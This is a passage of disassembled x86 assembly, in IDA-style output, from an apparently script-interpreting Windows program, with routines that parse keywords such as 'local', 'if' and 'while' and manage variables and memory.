		test	eax, eax
		pop	ecx
		jz	short loc_411AE5
		call	sub_40EF81
		mov	[ebp+0Ch], eax
		jmp	short loc_411AE9
; ---------------------------------------------------------------------------

loc_411AE5:				; CODE XREF: sub_411377+762j
		and	dword ptr [ebp+0Ch], 0

loc_411AE9:				; CODE XREF: sub_411377+76Cj
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411B12
		call	sub_40EFBA
		mov	[ebp+0Ch], eax
		jmp	short loc_411B16
; ---------------------------------------------------------------------------

loc_411B12:				; CODE XREF: sub_411377+78Fj
		and	dword ptr [ebp+0Ch], 0

loc_411B16:				; CODE XREF: sub_411377+799j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		mov	ebx, [ebp-14h]
		push	dword ptr [ebp+0Ch]
		add	ebx, 104h
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411B48
		call	sub_40EFEF
		mov	[ebp+0Ch], eax
		jmp	short loc_411B4C
; ---------------------------------------------------------------------------

loc_411B48:				; CODE XREF: sub_411377+7C5j
		and	dword ptr [ebp+0Ch], 0

loc_411B4C:				; CODE XREF: sub_411377+7CFj
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411B75
		call	sub_40F024
		mov	[ebp+0Ch], eax
		jmp	short loc_411B79
; ---------------------------------------------------------------------------

loc_411B75:				; CODE XREF: sub_411377+7F2j
		and	dword ptr [ebp+0Ch], 0

loc_411B79:				; CODE XREF: sub_411377+7FCj
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411BA2
		call	sub_40F19D
		mov	[ebp+0Ch], eax
		jmp	short loc_411BA6
; ---------------------------------------------------------------------------

loc_411BA2:				; CODE XREF: sub_411377+81Fj
		and	dword ptr [ebp+0Ch], 0

loc_411BA6:				; CODE XREF: sub_411377+829j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		mov	ebx, [ebp-18h]
		push	dword ptr [ebp+0Ch]
		add	ebx, 104h
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411BD8
		call	sub_40F1E3
		mov	[ebp+0Ch], eax
		jmp	short loc_411BDC
; ---------------------------------------------------------------------------

loc_411BD8:				; CODE XREF: sub_411377+855j
		and	dword ptr [ebp+0Ch], 0

loc_411BDC:				; CODE XREF: sub_411377+85Fj
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411C05
		call	sub_40F222
		mov	[ebp+0Ch], eax
		jmp	short loc_411C09
; ---------------------------------------------------------------------------

loc_411C05:				; CODE XREF: sub_411377+882j
		and	dword ptr [ebp+0Ch], 0

loc_411C09:				; CODE XREF: sub_411377+88Cj
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411C32
		call	sub_40F261
		mov	[ebp+0Ch], eax
		jmp	short loc_411C36
; ---------------------------------------------------------------------------

loc_411C32:				; CODE XREF: sub_411377+8AFj
		and	dword ptr [ebp+0Ch], 0

loc_411C36:				; CODE XREF: sub_411377+8B9j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411C5F
		call	sub_40F29A
		mov	[ebp+0Ch], eax
		jmp	short loc_411C63
; ---------------------------------------------------------------------------

loc_411C5F:				; CODE XREF: sub_411377+8DCj
		and	dword ptr [ebp+0Ch], 0

loc_411C63:				; CODE XREF: sub_411377+8E6j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411C8C
		call	sub_40F2DD
		mov	[ebp+0Ch], eax
		jmp	short loc_411C90
; ---------------------------------------------------------------------------

loc_411C8C:				; CODE XREF: sub_411377+909j
		and	dword ptr [ebp+0Ch], 0

loc_411C90:				; CODE XREF: sub_411377+913j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411CB9
		call	sub_40F327
		mov	[ebp+0Ch], eax
		jmp	short loc_411CBD
; ---------------------------------------------------------------------------

loc_411CB9:				; CODE XREF: sub_411377+936j
		and	dword ptr [ebp+0Ch], 0

loc_411CBD:				; CODE XREF: sub_411377+940j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411CE6
		call	sub_40F059
		mov	[ebp+0Ch], eax
		jmp	short loc_411CEA
; ---------------------------------------------------------------------------

loc_411CE6:				; CODE XREF: sub_411377+963j
		and	dword ptr [ebp+0Ch], 0

loc_411CEA:				; CODE XREF: sub_411377+96Dj
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		mov	ebx, [ebp-1Ch]
		push	dword ptr [ebp+0Ch]
		add	ebx, 104h
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411D1C
		call	sub_40F0D0
		mov	[ebp+0Ch], eax
		jmp	short loc_411D20
; ---------------------------------------------------------------------------

loc_411D1C:				; CODE XREF: sub_411377+999j
		and	dword ptr [ebp+0Ch], 0

loc_411D20:				; CODE XREF: sub_411377+9A3j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411D49
		call	sub_40F38E
		mov	[ebp+0Ch], eax
		jmp	short loc_411D4D
; ---------------------------------------------------------------------------

loc_411D49:				; CODE XREF: sub_411377+9C6j
		and	dword ptr [ebp+0Ch], 0

loc_411D4D:				; CODE XREF: sub_411377+9D0j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		mov	ebx, [ebp-20h]
		push	dword ptr [ebp+0Ch]
		add	ebx, 104h
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411D7F
		call	sub_40F3CE
		mov	[ebp+0Ch], eax
		jmp	short loc_411D83
; ---------------------------------------------------------------------------

loc_411D7F:				; CODE XREF: sub_411377+9FCj
		and	dword ptr [ebp+0Ch], 0

loc_411D83:				; CODE XREF: sub_411377+A06j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411DAC
		call	sub_40F40A
		mov	[ebp+0Ch], eax
		jmp	short loc_411DB0
; ---------------------------------------------------------------------------

loc_411DAC:				; CODE XREF: sub_411377+A29j
		and	dword ptr [ebp+0Ch], 0

loc_411DB0:				; CODE XREF: sub_411377+A33j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411DD9
		call	sub_40F4E3
		mov	[ebp+0Ch], eax
		jmp	short loc_411DDD
; ---------------------------------------------------------------------------

loc_411DD9:				; CODE XREF: sub_411377+A56j
		and	dword ptr [ebp+0Ch], 0

loc_411DDD:				; CODE XREF: sub_411377+A60j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		mov	ebx, [ebp-24h]
		push	dword ptr [ebp+0Ch]
		add	ebx, 104h
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411E0F
		call	sub_40F55F
		mov	[ebp+0Ch], eax
		jmp	short loc_411E13
; ---------------------------------------------------------------------------

loc_411E0F:				; CODE XREF: sub_411377+A8Cj
		and	dword ptr [ebp+0Ch], 0

loc_411E13:				; CODE XREF: sub_411377+A96j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411E3C
		call	sub_40F5B2
		mov	[ebp+0Ch], eax
		jmp	short loc_411E40
; ---------------------------------------------------------------------------

loc_411E3C:				; CODE XREF: sub_411377+AB9j
		and	dword ptr [ebp+0Ch], 0

loc_411E40:				; CODE XREF: sub_411377+AC3j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411E69
		call	sub_40F5F5
		mov	[ebp+0Ch], eax
		jmp	short loc_411E6D
; ---------------------------------------------------------------------------

loc_411E69:				; CODE XREF: sub_411377+AE6j
		and	dword ptr [ebp+0Ch], 0

loc_411E6D:				; CODE XREF: sub_411377+AF0j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		mov	ebx, [ebp-28h]
		push	dword ptr [ebp+0Ch]
		add	ebx, 104h
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411E9F
		call	sub_40F648
		mov	[ebp+0Ch], eax
		jmp	short loc_411EA3
; ---------------------------------------------------------------------------

loc_411E9F:				; CODE XREF: sub_411377+B1Cj
		and	dword ptr [ebp+0Ch], 0

loc_411EA3:				; CODE XREF: sub_411377+B26j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411ECB
		call	sub_40F68B
		mov	ebx, eax
		jmp	short loc_411ECD
; ---------------------------------------------------------------------------

loc_411ECB:				; CODE XREF: sub_411377+B49j
		xor	ebx, ebx

loc_411ECD:				; CODE XREF: sub_411377+B52j
		push	ebx
		mov	eax, edi
		call	sub_41377F
		mov	eax, [ebp-2Ch]
		push	ebx
		add	eax, 104h
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411EF7
		call	sub_40F794
		mov	ebx, eax
		jmp	short loc_411EF9
; ---------------------------------------------------------------------------

loc_411EF7:				; CODE XREF: sub_411377+B75j
		xor	ebx, ebx

loc_411EF9:				; CODE XREF: sub_411377+B7Ej
		push	ebx
		mov	eax, edi
		call	sub_41377F
		mov	eax, [ebp-30h]
		push	ebx
		add	eax, 104h
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411F24
		call	sub_40F9E7
		mov	[ebp+0Ch], eax
		jmp	short loc_411F28
; ---------------------------------------------------------------------------

loc_411F24:				; CODE XREF: sub_411377+BA1j
		and	dword ptr [ebp+0Ch], 0

loc_411F28:				; CODE XREF: sub_411377+BABj
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		mov	ebx, [ebp-34h]
		push	dword ptr [ebp+0Ch]
		add	ebx, 104h
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411F5A
		call	sub_40FA88
		mov	[ebp+0Ch], eax
		jmp	short loc_411F5E
; ---------------------------------------------------------------------------

loc_411F5A:				; CODE XREF: sub_411377+BD7j
		and	dword ptr [ebp+0Ch], 0

loc_411F5E:				; CODE XREF: sub_411377+BE1j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411F87
		call	sub_40FAB5
		mov	[ebp+0Ch], eax
		jmp	short loc_411F8B
; ---------------------------------------------------------------------------

loc_411F87:				; CODE XREF: sub_411377+C04j
		and	dword ptr [ebp+0Ch], 0

loc_411F8B:				; CODE XREF: sub_411377+C0Ej
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411FB4
		call	sub_40F820
		mov	[ebp+0Ch], eax
		jmp	short loc_411FB8
; ---------------------------------------------------------------------------

loc_411FB4:				; CODE XREF: sub_411377+C31j
		and	dword ptr [ebp+0Ch], 0

loc_411FB8:				; CODE XREF: sub_411377+C3Bj
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		mov	ebx, [ebp-10h]
		push	dword ptr [ebp+0Ch]
		add	ebx, 104h
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_411FEA
		call	sub_40F8B1
		mov	[ebp+0Ch], eax
		jmp	short loc_411FEE
; ---------------------------------------------------------------------------

loc_411FEA:				; CODE XREF: sub_411377+C67j
		and	dword ptr [ebp+0Ch], 0

loc_411FEE:				; CODE XREF: sub_411377+C71j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_412017
		call	sub_40F8DF
		mov	[ebp+0Ch], eax
		jmp	short loc_41201B
; ---------------------------------------------------------------------------

loc_412017:				; CODE XREF: sub_411377+C94j
		and	dword ptr [ebp+0Ch], 0

loc_41201B:				; CODE XREF: sub_411377+C9Ej
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_412044
		call	sub_40F990
		mov	[ebp+0Ch], eax
		jmp	short loc_412048
; ---------------------------------------------------------------------------

loc_412044:				; CODE XREF: sub_411377+CC1j
		and	dword ptr [ebp+0Ch], 0

loc_412048:				; CODE XREF: sub_411377+CCBj
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_412070
		call	sub_40FB15
		mov	ebx, eax
		jmp	short loc_412072
; ---------------------------------------------------------------------------

loc_412070:				; CODE XREF: sub_411377+CEEj
		xor	ebx, ebx

loc_412072:				; CODE XREF: sub_411377+CF7j
		push	ebx
		mov	eax, edi
		call	sub_41377F
		mov	eax, [ebp-38h]
		push	ebx
		add	eax, 104h
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_41209C
		call	sub_40FB41
		mov	ebx, eax
		jmp	short loc_41209E
; ---------------------------------------------------------------------------

loc_41209C:				; CODE XREF: sub_411377+D1Aj
		xor	ebx, ebx

loc_41209E:				; CODE XREF: sub_411377+D23j
		push	ebx
		mov	eax, edi
		call	sub_41377F
		mov	eax, [ebp-3Ch]
		push	ebx
		add	eax, 104h
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_4120C8
		call	sub_40FC2C
		mov	ebx, eax
		jmp	short loc_4120CA
; ---------------------------------------------------------------------------

loc_4120C8:				; CODE XREF: sub_411377+D46j
		xor	ebx, ebx

loc_4120CA:				; CODE XREF: sub_411377+D4Fj
		push	ebx
		mov	eax, edi
		call	sub_41377F
		mov	eax, [ebp-40h]
		push	ebx
		add	eax, 104h
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_4120F5
		call	sub_40FCAB
		mov	[ebp+0Ch], eax
		jmp	short loc_4120F9
; ---------------------------------------------------------------------------

loc_4120F5:				; CODE XREF: sub_411377+D72j
		and	dword ptr [ebp+0Ch], 0

loc_4120F9:				; CODE XREF: sub_411377+D7Cj
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		mov	ebx, [ebp-44h]
		push	dword ptr [ebp+0Ch]
		add	ebx, 104h
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_41212B
		call	sub_40FD17
		mov	[ebp+0Ch], eax
		jmp	short loc_41212F
; ---------------------------------------------------------------------------

loc_41212B:				; CODE XREF: sub_411377+DA8j
		and	dword ptr [ebp+0Ch], 0

loc_41212F:				; CODE XREF: sub_411377+DB2j
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_412158
		call	sub_40FD97
		mov	[ebp+0Ch], eax
		jmp	short loc_41215C
; ---------------------------------------------------------------------------

loc_412158:				; CODE XREF: sub_411377+DD5j
		and	dword ptr [ebp+0Ch], 0

loc_41215C:				; CODE XREF: sub_411377+DDFj
		push	dword ptr [ebp+0Ch]
		mov	eax, edi
		call	sub_41377F
		push	dword ptr [ebp+0Ch]
		mov	eax, ebx
		call	sub_413CBE
		push	esi
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_412184
		call	sub_40FE1E
		mov	esi, eax
		jmp	short loc_412186
; ---------------------------------------------------------------------------

loc_412184:				; CODE XREF: sub_411377+E02j
		xor	esi, esi

loc_412186:				; CODE XREF: sub_411377+E0Bj
		push	esi
		mov	eax, edi
		call	sub_41377F
		push	esi
		mov	eax, ebx
		call	sub_413CBE
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	0Ch
sub_411377	endp


; =============== S U B	R O U T	I N E =======================================



sub_4121AA	proc near		; CODE XREF: sub_4121F3+34p
					; .text:00427DC9j
		push	esi
		lea	esi, [edi+118h]
		call	sub_413A1C
		lea	esi, [edi+104h]
		call	sub_413A1C
		pop	esi
		retn
sub_4121AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4121C3	proc near		; CODE XREF: sub_411377+43p
					; sub_411377+53p

arg_10		= dword	ptr  14h

		mov	eax, offset loc_427DA9
		call	sub_41E550
		mov	eax, [esp+arg_10]
		xor	ecx, ecx
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	[eax+1Ch], ecx
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		leave
		retn	4
sub_4121C3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4121F3	proc near		; CODE XREF: sub_411338+17p
		push	esi
		push	edi
		push	1
		lea	esi, [ebx+2C8h]
		push	0
		mov	eax, esi
		call	sub_4137A8
		call	sub_413A1C
		lea	edi, [ebx+2A8h]
		call	sub_413EB2
		lea	edi, [ebx+288h]
		call	sub_413EB2
		lea	edi, [ebx+15Ch]
		call	sub_4121AA
		push	dword ptr [ebx+104h]
		call	sub_41CA28
		pop	ecx
		pop	edi
		pop	esi
		retn
sub_4121F3	endp

; ---------------------------------------------------------------------------

loc_41223B:				; CODE XREF: .text:00411366j
		push	ebx
		mov	ebx, eax
		cmp	dword ptr [ebx+154h], 11h
		jz	short loc_412268
		push	esi

loc_412248:				; CODE XREF: .text:00412265j
		call	sub_412810
		test	eax, eax
		jz	short loc_412267
		lea	esi, [ebx+104h]
		call	sub_410A3B
		cmp	eax, 11h
		mov	[ebx+154h], eax
		jnz	short loc_412248

loc_412267:				; CODE XREF: .text:0041224Fj
		pop	esi

loc_412268:				; CODE XREF: .text:00412245j
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41226A	proc near		; CODE XREF: sub_41226A+39Ap
					; sub_41226A+4A2p ...
		mov	eax, offset loc_427CFD
		call	sub_41E550
		sub	esp, 364h
		and	dword ptr [ebp-14h], 0
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		push	ebx
		lea	eax, [ebp-168h]
		push	eax
		mov	[ebp-20h], ebx
		call	sub_412B23
		and	dword ptr [ebp-4], 0
		lea	esi, [ebx+15Ch]
		mov	edi, esi
		mov	[ebp-24h], esi
		mov	[ebp-1Ch], edi

loc_4122A5:				; CODE XREF: sub_41226A+513j
		cmp	dword ptr [ebx+100h], 0
		jnz	loc_4127D5
		mov	eax, [ebx+154h]
		cmp	eax, 11h
		jz	loc_4127D5
		cmp	eax, 10h
		jz	loc_4127D5
		cmp	eax, 1
		jnz	loc_41237B
		lea	ecx, [ebx+104h]
		mov	[ebp-10h], ecx
		call	sub_410F83
		push	eax
		add	edi, 104h
		call	sub_413CE3
		mov	ecx, [ebp-10h]
		push	offset aLocal	; "local"
		mov	edi, eax
		call	sub_410F83
		push	eax
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_412314
		mov	dword ptr [ebp-14h], 1
		jmp	loc_412769
; ---------------------------------------------------------------------------

loc_412314:				; CODE XREF: sub_41226A+9Cj
		mov	ecx, [ebp-10h]
		push	offset aIf	; "if"
		call	sub_410F83
		push	eax
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_412782
		mov	ecx, [ebp-10h]
		push	offset aWhile	; "while"
		call	sub_410F83
		push	eax
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4127A9
		test	edi, edi
		jz	loc_41278D
		push	edi
		mov	ecx, ebx
		call	sub_412A38
		test	eax, eax
		jz	loc_41278D
		mov	[ebp-1Ch], esi

loc_412369:				; CODE XREF: sub_41226A+4ABj
		mov	ecx, eax
		lea	eax, [ebp-168h]
		call	sub_4136AB
		jmp	loc_412769
; ---------------------------------------------------------------------------

loc_41237B:				; CODE XREF: sub_41226A+63j
		cmp	eax, 2
		jnz	short loc_4123DD
		lea	ecx, [ebx+104h]
		push	100h
		mov	[ebp-10h], ecx
		call	sub_410F83
		push	eax
		lea	eax, [ebp-268h]
		push	eax
		call	sub_41C5A0
		lea	eax, [ebp-268h]
		add	esp, 0Ch
		push	eax
		call	sub_41C350
		pop	ecx
		lea	ecx, [ebp-268h]
		dec	ecx
		mov	byte ptr [eax+ecx], 0
		lea	eax, [ebp-268h]
		push	eax
		add	edi, 118h
		call	sub_413D53
		test	eax, eax
		jz	loc_41278D
		mov	[ebp-1Ch], eax
		jmp	loc_412769
; ---------------------------------------------------------------------------

loc_4123DD:				; CODE XREF: sub_41226A+114j
		cmp	eax, 3
		jnz	loc_4126EF
		xor	esi, esi
		inc	esi
		cmp	dword ptr [ebp-14h], 0
		mov	[ebp-18h], esi
		jz	short loc_4123FB
		mov	esi, [ebx+158h]
		mov	[ebp-18h], esi

loc_4123FB:				; CODE XREF: sub_41226A+186j
		lea	ecx, [ebx+104h]
		mov	[ebp-10h], ecx
		call	sub_410F83
		cmp	byte ptr [eax],	24h
		jnz	loc_412533
		push	dword ptr [ebx+158h]
		lea	edi, [ebx+2A8h]
		call	sub_410F83
		push	eax
		call	sub_413E66
		test	eax, eax
		jnz	short loc_41244A

loc_41242D:				; CODE XREF: sub_41226A+1EAj
		push	18h
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_412456
		xor	ecx, ecx
		mov	[eax+10h], ecx
		mov	[eax+8], ecx
		mov	[eax+4], ecx
		mov	[eax], ecx
		mov	edi, eax
		jmp	short loc_412458
; ---------------------------------------------------------------------------

loc_41244A:				; CODE XREF: sub_41226A+1C1j
		cmp	[eax], esi
		jz	short loc_41247B
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_41247B
		jmp	short loc_41242D
; ---------------------------------------------------------------------------

loc_412456:				; CODE XREF: sub_41226A+1CDj
		xor	edi, edi

loc_412458:				; CODE XREF: sub_41226A+1DEj
		lea	eax, [ebx+2C8h]
		push	edi
		mov	[edi], esi
		call	sub_41377F
		mov	ecx, [ebp-10h]
		push	edi
		call	sub_410F83
		lea	ecx, [ebx+2A8h]
		push	eax
		call	sub_413D9E

loc_41247B:				; CODE XREF: sub_41226A+1E2j
					; sub_41226A+1E8j
		mov	eax, [ebp-10h]
		call	sub_410EEB
		cmp	eax, 4
		jnz	short loc_4124D0
		mov	ecx, [ebp-10h]
		call	sub_410F83
		mov	esi, eax
		call	sub_410FAD
		call	sub_4111D3
		test	eax, eax
		jz	short loc_4124D0
		mov	eax, [ebp-10h]
		call	sub_410F14
		push	dword ptr [ebp-18h]
		mov	ecx, eax
		call	sub_410F83
		push	eax
		lea	edi, [ebx+2A8h]
		call	sub_413E66
		mov	ecx, eax

loc_4124C0:				; CODE XREF: sub_41226A+2C7j
		lea	eax, [ebp-168h]
		call	sub_4136AB
		jmp	loc_4126E9
; ---------------------------------------------------------------------------

loc_4124D0:				; CODE XREF: sub_41226A+21Cj
					; sub_41226A+234j
		mov	eax, [ebp-10h]
		call	sub_410F14
		push	dword ptr [ebx+158h]
		mov	ecx, eax
		call	sub_410F83
		push	eax
		lea	edi, [ebx+2A8h]
		call	sub_413E66
		mov	edi, eax
		xor	esi, esi
		cmp	[edi+8], esi
		jz	loc_41278D
		push	18h
		call	sub_41BA91
		cmp	eax, esi
		pop	ecx
		jz	short loc_41251A
		mov	ecx, [edi+8]
		mov	[eax+10h], esi
		mov	[eax+4], esi
		mov	[eax], esi
		mov	[eax+8], ecx
		mov	esi, eax

loc_41251A:				; CODE XREF: sub_41226A+29Ej
		mov	eax, edi
		mov	ecx, esi
		call	sub_41002B
		push	esi
		lea	eax, [ebx+2C8h]
		call	sub_41377F
		mov	ecx, esi
		jmp	short loc_4124C0
; ---------------------------------------------------------------------------

loc_412533:				; CODE XREF: sub_41226A+1A2j
		call	sub_410F83
		cmp	byte ptr [eax],	40h
		jnz	loc_4126E9
		push	dword ptr [ebx+158h]
		mov	ecx, [ebp-10h]
		lea	edi, [ebx+288h]
		call	sub_410F83
		push	eax
		call	sub_413E66
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_412586
		push	18h
		call	sub_41BA91
		pop	ecx
		cmp	eax, esi
		jz	short loc_41257B
		mov	[eax+8], esi
		mov	[eax+0Ch], esi
		mov	[eax+10h], esi
		mov	[eax+14h], ebx
		mov	esi, eax

loc_41257B:				; CODE XREF: sub_41226A+301j
		mov	eax, [ebp-18h]
		mov	byte ptr [ebp-4], 0
		mov	[esi], eax
		jmp	short loc_4125B2
; ---------------------------------------------------------------------------

loc_412586:				; CODE XREF: sub_41226A+2F5j
		mov	edi, [ebp-18h]
		cmp	[eax], edi
		jz	short loc_4125D3
		cmp	[ebp-14h], esi
		jz	short loc_4125D3
		push	18h
		call	sub_41BA91
		pop	ecx
		cmp	eax, esi
		jz	short loc_4125AC
		mov	[eax+8], esi
		mov	[eax+0Ch], esi
		mov	[eax+10h], esi
		mov	[eax+14h], ebx
		mov	esi, eax

loc_4125AC:				; CODE XREF: sub_41226A+332j
		mov	byte ptr [ebp-4], 0
		mov	[esi], edi

loc_4125B2:				; CODE XREF: sub_41226A+31Aj
		lea	eax, [ebx+2C8h]
		push	esi
		call	sub_41377F
		mov	ecx, [ebp-10h]
		push	esi
		call	sub_410F83
		lea	ecx, [ebx+288h]
		push	eax
		call	sub_413D9E

loc_4125D3:				; CODE XREF: sub_41226A+321j
					; sub_41226A+326j
		mov	esi, [ebp-10h]
		push	100h
		mov	ecx, esi
		call	sub_410F83
		push	eax
		lea	eax, [ebp-368h]
		push	eax
		call	sub_41C5A0
		add	esp, 0Ch
		call	sub_410A3B
		cmp	eax, 9
		jnz	loc_4126E9
		push	0Ah
		mov	ecx, ebx
		call	sub_41226A
		test	eax, eax
		jz	loc_41278D
		xor	ecx, ecx
		mov	[ebp-30h], ecx
		mov	dword ptr [ebp-38h], 1
		mov	[ebp-3Ch], ecx
		mov	[ebp-40h], ecx
		lea	ecx, [ebp-40h]
		mov	byte ptr [ebp-4], 3
		call	sub_41002B
		push	dword ptr [ebx+158h]
		lea	eax, [ebp-368h]
		push	eax
		lea	edi, [ebx+288h]
		call	sub_413E66
		mov	edi, [ebp-30h]
		mov	esi, eax
		call	sub_41097C
		mov	edi, eax
